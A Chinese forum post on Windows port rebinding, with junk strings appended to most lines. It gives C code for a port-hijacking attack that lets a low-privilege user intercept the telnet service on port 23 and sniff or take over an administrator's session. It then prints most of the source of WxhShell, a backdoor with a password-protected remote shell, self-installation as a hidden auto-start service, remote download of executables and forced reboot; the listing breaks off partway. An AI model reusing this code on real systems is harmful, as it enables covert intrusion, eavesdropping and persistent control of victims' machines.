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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ffDc 6*.Q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P1zK2sL_  
,\PVC@xJ  
  saddr.sin_family = AF_INET; ?h\mk0[  
x<(b|2qf  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o,Z{ w"  
;-mdi/*g  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zzpZ19"`1  
Xo5$X7m  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /ONV5IkPy  
P @% .`8  
  这意味着什么?意味着可以进行如下的攻击: 7()?C}Ni-  
US&B!Q:v  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >%b\yl%0  
V-O(U*]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =Ov7C[(  
0`#(Toe{B  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #~ v4caNx  
2i=H"('G)+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  h#YD~!aJ  
=J'P.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 mS=r(3#  
Gy29MUF  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %FkLQ+v/<  
$ACx*e%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RNJ FSD.  
]Tp U"JD  
  #include 0NE{8O0;Fr  
  #include C9tb\?#  
  #include O_,O,1  
  #include    ;6;H*Y0,|E  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `H%G3M0a  
  int main() 7v~j=Z>  
  { X~U >LLr  
  WORD wVersionRequested; (RL>Hn;.  
  DWORD ret; mX# "+X|  
  WSADATA wsaData; <-C!;Ce{  
  BOOL val; {ShgJ ;! Q  
  SOCKADDR_IN saddr; 5mB]N%rfW%  
  SOCKADDR_IN scaddr; \{|ImCH  
  int err; }<m{~32M  
  SOCKET s; `^F: -  
  SOCKET sc; }7/e8 O2  
  int caddsize; _GaJXWMbk  
  HANDLE mt; ~5aE2w0K   
  DWORD tid;   t%0?N<9YkU  
  wVersionRequested = MAKEWORD( 2, 2 ); .J.vC1 4gi  
  err = WSAStartup( wVersionRequested, &wsaData ); n]? WCG}cd  
  if ( err != 0 ) { **;p (CI  
  printf("error!WSAStartup failed!\n"); kyUl{Zj  
  return -1; xF8S*,#,*  
  } $~u.Wq  
  saddr.sin_family = AF_INET; j'rS&BI G  
   +&v\ /  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 I44s(G1j l  
QJ X/7RA  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); '5.\#=S1  
  saddr.sin_port = htons(23); #a~"K|' G  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )c<6Sfp^B  
  { |m>}%{  
  printf("error!socket failed!\n"); Ej(2w Q  
  return -1; #6> 6S;Ib  
  } Zr/r2  
  val = TRUE; 5~VosUp e7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 RXSf,O  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :{}_|]>K  
  { 2<W&\D o@  
  printf("error!setsockopt failed!\n"); s@@1 *VQ  
  return -1; dk5|@?pe  
  } @z,*K_AKr  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %efGt6&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 V'wi^gq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {U @3yB  
HtBF=Boq  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) aC\4}i<  
  { /=T"=bP#/  
  ret=GetLastError(); g:~+P e  
  printf("error!bind failed!\n"); YMB~[]$V<  
  return -1; #+jUhxq  
  } ;;#nV$  
  listen(s,2); McP.9v}H0_  
  while(1) vDDljQXw4  
  { 4F#%f#"  
  caddsize = sizeof(scaddr); __\P`S_  
  //接受连接请求 wh6&>m#r  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K8Zt:yP  
  if(sc!=INVALID_SOCKET) ~ =.CTm]vf  
  { FmT `Oa>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~"7J}[i 5  
  if(mt==NULL) 6Z c)0I'  
  { )/Y~6A9>  
  printf("Thread Creat Failed!\n"); 19I:%$U3  
  break; TVkcDS  
  } lX;mhJj!  
  } g [L  
  CloseHandle(mt); }~zO+Wf2  
  } TA;,>f*  
  closesocket(s); xqWj|jA  
  WSACleanup(); j jY{Uq  
  return 0; \y~)jq:d"  
  }   FdxsU DL  
  DWORD WINAPI ClientThread(LPVOID lpParam) I'A:J  
  { %V_eJC""?  
  SOCKET ss = (SOCKET)lpParam; S aNN;X0  
  SOCKET sc; BjZ>hhs!*  
  unsigned char buf[4096]; *8-p7,D  
  SOCKADDR_IN saddr; pt})JMm  
  long num; P9yw&A  
  DWORD val; Bz:0L1@,4a  
  DWORD ret; Xp^$ E6YFy  
  //如果是隐藏端口应用的话,可以在此处加一些判断 DQ_ 2fX~)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !%62Phai  
  saddr.sin_family = AF_INET; BE4\U_]a3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4x]NUt  
  saddr.sin_port = htons(23); B$7[8h  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u}CG>^0C  
  { @_O3&ZK  
  printf("error!socket failed!\n"); PP4d?+;V  
  return -1; XGk}e4;_  
  } k~|ZO/X@l%  
  val = 100; vU 9ek:.l  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,\>g  
  { m3"c (L`B  
  ret = GetLastError(); >w2f8tW`PP  
  return -1; I}%mfojC  
  } c}cG<F  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S)Mby  
  { F*!gzKZ"  
  ret = GetLastError(); ">,K1:(D  
  return -1; @Yarz1  
  } ?\d5;%YSr  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5~yQ>h  
  { ](n69XX_  
  printf("error!socket connect failed!\n"); 4w9F+*-  
  closesocket(sc); j]Ua\|t  
  closesocket(ss); 0STk)> 3$-  
  return -1; N.vG]%1"  
  } ZmP1C`>  
  while(1) 2D_6  
  { UL ck  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 QU%N*bFW%P  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4V>vg2 d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 wRj~Qv~E  
  num = recv(ss,buf,4096,0); x' ?.~  
  if(num>0) 9<w=),R`8  
  send(sc,buf,num,0); (E IRz>  
  else if(num==0) qs "s/$  
  break; P 4H*jy@?  
  num = recv(sc,buf,4096,0); Sn0Xl3yr  
  if(num>0) 4a1BGNI%SW  
  send(ss,buf,num,0); nE^wxtY  
  else if(num==0) yq!CWXZ2  
  break; i >J:W"W   
  } qjzZ}  
  closesocket(ss); a0)vvo=bz  
  closesocket(sc); '&/(oJ ;O~  
  return 0 ; ^`/V i  
  } z 3Zu C{  
65uZ LsQ  
>*Sv0#  
========================================================== ?3n=m%W,J*  
j#CuR7m  
下边附上一个代码,,WXhSHELL ^?#@[4?"  
& 8zk3  
========================================================== ~xP Szf  
z=u~]:.1O  
#include "stdafx.h" fO0- N>W'P  
Bk@bN~B4  
#include <stdio.h> Cx$9#3\  
#include <string.h> 7Zhli Y1  
#include <windows.h> z/pDOP Ku  
#include <winsock2.h> l DgzM3  
#include <winsvc.h> w"yK\OE  
#include <urlmon.h> W5TqC  
{E3;r7  
#pragma comment (lib, "Ws2_32.lib") fQ^h{n  
#pragma comment (lib, "urlmon.lib") )x y9X0  
LPsh?Ca?N  
#define MAX_USER   100 // 最大客户端连接数 K,Lr +  
#define BUF_SOCK   200 // sock buffer w6%l8+{R  
#define KEY_BUFF   255 // 输入 buffer VOD1xWrb  
#d3[uF]OmW  
#define REBOOT     0   // 重启 L!`*R)I45  
#define SHUTDOWN   1   // 关机 ( ?atGFgu  
?SBh^/zf  
#define DEF_PORT   5000 // 监听端口 9c#L{in  
;]|m((15G  
#define REG_LEN     16   // 注册表键长度 T@2f&Un^  
#define SVC_LEN     80   // NT服务名长度 Ufyxw5u5F  
S^*(ALFPj  
// 从dll定义API 4KN0i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); avF&F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *9\oD~2Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e,PQ)1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NHst7$Y<  
r9U[-CX:"  
// wxhshell配置信息 wI|bBfd(  
struct WSCFG { !.x=r  
  int ws_port;         // 监听端口 DK2c]i^|=  
  char ws_passstr[REG_LEN]; // 口令 Z?.:5#  
  int ws_autoins;       // 安装标记, 1=yes 0=no cuJ / Vc  
  char ws_regname[REG_LEN]; // 注册表键名 x'VeL|  
  char ws_svcname[REG_LEN]; // 服务名 "i;*\+x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ke'YM{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n:%'{}Jw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +z{x 7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p]atH<^;K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -K{\S2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2nOe^X!*  
Iwd"f  
}; 2}W6{T'  
wpPxEp/  
// default Wxhshell configuration iX&Z  
struct WSCFG wscfg={DEF_PORT, / r`Y'rm  
    "xuhuanlingzhe", 4jI*Y6Wkz  
    1, -M(58/y  
    "Wxhshell", _A# x&<c  
    "Wxhshell", 3@#,i<ge:  
            "WxhShell Service", TU^tW  
    "Wrsky Windows CmdShell Service", O;.d4pO(tC  
    "Please Input Your Password: ", JJ= ~o@|c  
  1,  Wl}G[>P  
  "http://www.wrsky.com/wxhshell.exe", Xlgz.j7XR  
  "Wxhshell.exe" f]^J,L9qz  
    }; 2n\i0?RD  
V3. vE,  
// 消息定义模块 @5 POgQ8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zjhR9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wZ#~+ }T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xfZ9&g  
char *msg_ws_ext="\n\rExit."; 3n=cw2FG  
char *msg_ws_end="\n\rQuit."; uvAy#,  
char *msg_ws_boot="\n\rReboot..."; h_}BmJh_  
char *msg_ws_poff="\n\rShutdown..."; =h1 QN  
char *msg_ws_down="\n\rSave to "; ^U|CNB%.  
9fk\Ay1P  
char *msg_ws_err="\n\rErr!"; <CdG[Ih  
char *msg_ws_ok="\n\rOK!"; 5#A1u Nb  
y0Q/B|&[  
char ExeFile[MAX_PATH]; R&d_ WB4w  
int nUser = 0; :D)&>{?  
HANDLE handles[MAX_USER]; b&_u O  
int OsIsNt; ps4Wwk(  
hwb(W?*  
SERVICE_STATUS       serviceStatus; /m|&nl8"qe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f1,$<Y|qU  
4FP~+  
// 函数声明 `'{%szmD  
int Install(void); "=0 lcb C  
int Uninstall(void); :j50]zLy{  
int DownloadFile(char *sURL, SOCKET wsh); /A`zy  
int Boot(int flag); =<27qj  
void HideProc(void); Eo3Aak o  
int GetOsVer(void);  z]R!l%`  
int Wxhshell(SOCKET wsl); Hi 0df3t  
void TalkWithClient(void *cs);  ]9l%  
int CmdShell(SOCKET sock); $9u  
int StartFromService(void); ?tM].\  
int StartWxhshell(LPSTR lpCmdLine); F7PZV+\  
5In8VE !P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8 H"f9S=K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D_;n4<|.  
8=_| qy}l/  
// 数据结构和表定义 >[3,qP]E  
SERVICE_TABLE_ENTRY DispatchTable[] = JnKbd~  
{ zk_hDhg&'  
{wscfg.ws_svcname, NTServiceMain}, i)^ZH#G p  
{NULL, NULL} V<R+A*gY:  
}; F/,<dNJ  
NCh(-E  
// 自我安装 Nb, H8;  
int Install(void) }(7QJk5 j  
{ 2/o/UfYjgF  
  char svExeFile[MAX_PATH]; E;Ftop  
  HKEY key; K*i1! "w  
  strcpy(svExeFile,ExeFile); *Zo o  
8t 35j   
// 如果是win9x系统,修改注册表设为自启动 ,(Hmk(,  
if(!OsIsNt) { 4 ~|TKd{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s 7cyo ]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y8xnvK*  
  RegCloseKey(key); $}c@S0%P"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bB :X<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uNGxz*e  
  RegCloseKey(key); tcdn"]#U  
  return 0; @ tp7tB ;  
    } %Yn)t3d  
  } 7CN[Z9Y^}  
} N5_.m(:  
else { 8 =Lv7G%  
2%yJo7f$[  
// 如果是NT以上系统,安装为系统服务 9<r}s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -"tgEC\tD  
if (schSCManager!=0) MOeLphY  
{ YD.^\E4o  
  SC_HANDLE schService = CreateService 1^>g>bn_"  
  ( c\ *OId1{;  
  schSCManager, "4AQpD  
  wscfg.ws_svcname, pNWp3+a'  
  wscfg.ws_svcdisp, %4KJ&R (>[  
  SERVICE_ALL_ACCESS, -Dm.z16  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oVsazYJ|?  
  SERVICE_AUTO_START, ll09j Ef  
  SERVICE_ERROR_NORMAL, twS3J)UH  
  svExeFile, ~ b_gwJ'  
  NULL, A>2p/iMc  
  NULL, Y-{BY5E.  
  NULL, ng*E9Puu[  
  NULL, ?C2;:ol  
  NULL -d)n0)9  
  ); 'vIkA=  
  if (schService!=0) -{%''(G  
  { itgO#(g$Q  
  CloseServiceHandle(schService); jP'b! 4  
  CloseServiceHandle(schSCManager); Y/(-mcR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K! j*:{  
  strcat(svExeFile,wscfg.ws_svcname); B9-[wg#0G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y ]%,Y=%X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @&B!P3{f  
  RegCloseKey(key); W (=B H  
  return 0; !c($C   
    } c/U6K yiK  
  } +N@F,3yNa  
  CloseServiceHandle(schSCManager); a $%[!vF  
} kR(=VM JU  
} W fNMyI  
jtY~- @*  
return 1; .x8$PXjPG  
} 7#3)&"j  
J,Ap9HJt  
// 自我卸载 sR .j~R  
int Uninstall(void) .Tv(1HAc2l  
{ dhkpkt<G8  
  HKEY key; -P&e4sV{  
qQvb;jO  
if(!OsIsNt) { s+- aHn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w\*/(E<:  
  RegDeleteValue(key,wscfg.ws_regname); N2e<Y_T  
  RegCloseKey(key); ;~1JbP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %Ege^4PE  
  RegDeleteValue(key,wscfg.ws_regname); 2N 4>  
  RegCloseKey(key); $(=1A>40  
  return 0; V p{5Kxq  
  } Ghc0{M<  
} pnJT]?},  
} *xP:7K  
else { Z+(V \  
)7J>:9h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); au* jMcq  
if (schSCManager!=0) m)}MkC-  
{ U^\~{X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I_7EfAqg(  
  if (schService!=0) qV,j)b3M  
  { & jvG]>CS'  
  if(DeleteService(schService)!=0) { EQC  
  CloseServiceHandle(schService); GY xI$y0:  
  CloseServiceHandle(schSCManager); ,O$C9pH9  
  return 0; Iq \oB  
  } uD5yw #`  
  CloseServiceHandle(schService); G9Tix\SpF  
  } 12dW:#[  
  CloseServiceHandle(schSCManager); ^^uD33@_  
} faX#KRpfd  
} 2"mj=}y6  
7+4"+CA  
return 1; P^W47 SO  
} V.:A'!$#  
H%aLkV!J  
// 从指定url下载文件 8f5^@K\c  
int DownloadFile(char *sURL, SOCKET wsh) \}NWR{=  
{ Dj(7'jT  
  HRESULT hr; 8-YrmP2k  
char seps[]= "/"; 'U$VO q?!  
char *token; `wd*&vl  
char *file; k|'Mh0G0  
char myURL[MAX_PATH]; _!p3M3"$B  
char myFILE[MAX_PATH]; *?Ef}:]  
UROi.976D  
strcpy(myURL,sURL); 1G.gPx[  
  token=strtok(myURL,seps); olxP`iK  
  while(token!=NULL) 6qpV53H  
  { \zL7 j 4  
    file=token; QC,(rB  
  token=strtok(NULL,seps); )m;qv'=!  
  } gi@ji-10  
B?Sfcq-  
GetCurrentDirectory(MAX_PATH,myFILE); 1[9j`~[([  
strcat(myFILE, "\\"); HWOs@ !cL  
strcat(myFILE, file); $IZZ`Z]B  
  send(wsh,myFILE,strlen(myFILE),0); )^f Q@C8  
send(wsh,"...",3,0); Q9tE^d+%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3eP0v  
  if(hr==S_OK) z>;+'>XXgx  
return 0; {bqKb=nyZ  
else rss.F3dK  
return 1; z}2e;d 7  
q%Jy>IXt  
} _x1[$A,GuB  
h!CX`pBM  
// 系统电源模块 ?QT"sj64w  
int Boot(int flag) u;qMo`-  
{ .|`=mx  
  HANDLE hToken; HKN"$(Q  
  TOKEN_PRIVILEGES tkp; f,inQ2f}d  
3N0X?* (x|  
  if(OsIsNt) { )pn7DIXG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @Qjl`SL%O^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,Ysl$^\  
    tkp.PrivilegeCount = 1; pQ(eF0KG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Mq lo:7 ^F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Rue|<d1  
if(flag==REBOOT) { ]O=S2Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i)PV{3v$J  
  return 0; U3+ _'"  
} s_Oh >y?Aq  
else { 7r[ %| :  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3H}~eEg,  
  return 0; jl-Aos"/  
} /,N!g_"Z  
  } Y\Qxdq  
  else { (X_,*3Yxk  
if(flag==REBOOT) { u$=ogp =0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M:UB>-`bW  
  return 0; 3 [)s;e  
} G1;'nwf}  
else { (GcKaUg8*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &*]{"^  
  return 0; }8F$& AFt  
} }vUlTH  
} Ie&b <k  
J6( RlHS;  
return 1; y.*=Ww+  
} <r+!hJ[s'  
<\d|=>;  
// win9x进程隐藏模块 q]i(CaKh  
void HideProc(void) <A -(&+  
{ 0fPHh>u  
:ONuWNY N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :m++ iR  
  if ( hKernel != NULL ) Y( $Ji12  
  { NrJ_6sjF0g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q%n{*py  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L;--d`[  
    FreeLibrary(hKernel); U!\2K~  
  } I)XOAf$6  
^#BGA|j  
return; gVnws E  
} O\4+_y  
b$goF }b'g  
// 获取操作系统版本 [<Os~bfOv  
int GetOsVer(void) %0NkIQ`C  
{ .@i0U  
  OSVERSIONINFO winfo; #6N+5Yx_[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LmXF`Y$  
  GetVersionEx(&winfo); k'@7ZH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p2Dh3)&  
  return 1; q[)q|R|  
  else mWli}j#  
  return 0; b.R!2]T]i^  
} fou_/Nrue  
crJ7pe9  
// 客户端句柄模块 QY~<~<d+G  
int Wxhshell(SOCKET wsl) Np|'7D  
{ ceb s.sF:  
  SOCKET wsh; c Pq Dsl3  
  struct sockaddr_in client; xb9Pc.A[  
  DWORD myID; af<NMgT2s~  
RIy5ww}3|  
  while(nUser<MAX_USER) M&qh]v gC  
{ "U% n0r2  
  int nSize=sizeof(client); Ml8 YyF/~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %@}o'=[  
  if(wsh==INVALID_SOCKET) return 1; qIbg 4uE  
#`jE%ONC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O{k89{  
if(handles[nUser]==0) }+9 1s'/c  
  closesocket(wsh); R^J.?>0  
else =tr1*s{  
  nUser++; q&XCX$N  
  } `fBG~NDw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OUEI~b1  
\{c,,th  
  return 0;  4%g6_KB  
} FI]P<)*r  
W@I 02n2 H  
// 关闭 socket uiktdZ/f  
void CloseIt(SOCKET wsh) R K"&l!o  
{ "?apgx 6  
closesocket(wsh); :tRf@bD#  
nUser--; ([:]T$0 #  
ExitThread(0); _W)`cr  
} H>60D|v[  
hi!L\yi  
// 客户端请求句柄 +>JdYV<?0  
void TalkWithClient(void *cs) C=fsJ=a5;  
{ 06 QU  
x|]\1sb"  
  SOCKET wsh=(SOCKET)cs; )O,wRd>5  
  char pwd[SVC_LEN]; TT'Ofvdc  
  char cmd[KEY_BUFF]; T}C2e! _O  
char chr[1]; <,\ `Psa)N  
int i,j; `AWy!}8  
tbtI1"$  
  while (nUser < MAX_USER) {  l B1#  
|#{-.r6Y]  
if(wscfg.ws_passstr) { /-h6`@[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \[:PykS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rkkU"l$v  
  //ZeroMemory(pwd,KEY_BUFF); /\ytr%7,'  
      i=0; j5PL{6  
  while(i<SVC_LEN) { )h#]iGVN}  
YRPm^kW  
  // 设置超时 pD"YNlB^  
  fd_set FdRead; pgT9hle/  
  struct timeval TimeOut; wMGk!N  
  FD_ZERO(&FdRead); CdY8 #+"  
  FD_SET(wsh,&FdRead); rah,dVE]  
  TimeOut.tv_sec=8; WvujcmOf  
  TimeOut.tv_usec=0; ;x-(kIiE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wu A^'T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /RGNAHtIi  
Guh%eR'Wt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7|YN:7iA  
  pwd=chr[0]; qz9tr  
  if(chr[0]==0xd || chr[0]==0xa) { bp#:UUO%S  
  pwd=0; f|U0s  
  break; |g%mP1O  
  } 'Gjq/L/x  
  i++; h35Hu_c&  
    } 2#3^skj  
TI=h_%mO  
  // 如果是非法用户,关闭 socket [*)Z!)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SVagT'BB  
} 5o#Yt  
K$H <}e3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \ p4*$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6-B 9na  
;#TaZN  
while(1) { AVG>_$<  
RW_q~bA9  
  ZeroMemory(cmd,KEY_BUFF); ,m^;&&  
+R6a}d/K  
      // 自动支持客户端 telnet标准   Q6IQV0{p  
  j=0; |9Yi7.  
  while(j<KEY_BUFF) { ;Wc4qJ.@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _n"Ae?TP  
  cmd[j]=chr[0]; '9s5OTkN ;  
  if(chr[0]==0xa || chr[0]==0xd) { xY\ 0 zQ  
  cmd[j]=0; 99=s4*xzM  
  break; iWE)<h  
  } BI2; ex  
  j++; Z{R[Wx  
    } mM/i^zT  
PWB(5 f?  
  // 下载文件 W0XF~  
  if(strstr(cmd,"http://")) { >^$2f&z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ifK%6o6  
  if(DownloadFile(cmd,wsh)) >u0w.3r#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8' K0L(3[  
  else ceT&Y{T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `zpbnxOL$T  
  } zf[`~g  
  else { % ."@Q$lA  
-n5 B)uw=  
    switch(cmd[0]) { !k&Q 5s:  
  G{9X)|d  
  // 帮助 B[5r|d'  
  case '?': { {/<6v. v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;WU<CKYG*  
    break; `^9(Ot $  
  } ?BA^YF  
  // 安装 3WY$WRv  
  case 'i': { 17.x0 gW,  
    if(Install()) !xIm2+:(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m-/j1GZ*  
    else wsU V;S*X%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B>y9fI  
    break; sJ z@7.  
    } B;K`q  
  // 卸载 !ZRs;UZ>o  
  case 'r': { C0*@0~8$9  
    if(Uninstall()) ,)!u)wz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D4JLtB'=  
    else \C^;k%{LV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;Xvp6.:  
    break; ,m<H-gwa  
    } k n[Y   
  // 显示 wxhshell 所在路径 (b,[C\RBF  
  case 'p': { R%D'`*+  
    char svExeFile[MAX_PATH]; 4 1a. #o  
    strcpy(svExeFile,"\n\r"); VdSv  
      strcat(svExeFile,ExeFile); D}C,![   
        send(wsh,svExeFile,strlen(svExeFile),0); `1OgYs  
    break; W1B)]IHc  
    } Wo~vhv$E  
  // 重启 ^u}L;`L  
  case 'b': { >gwz,{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jOpcV|2  
    if(Boot(REBOOT)) 7pA /   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 38DT2<qC  
    else { Eodn/  
    closesocket(wsh); jn >d*9u  
    ExitThread(0); \#-W <  
    } OA/WtQ5  
    break; RB* J=  
    } ZQ^r`W9_ +  
  // 关机 Uy ?  
  case 'd': { :c9U>1`g&  
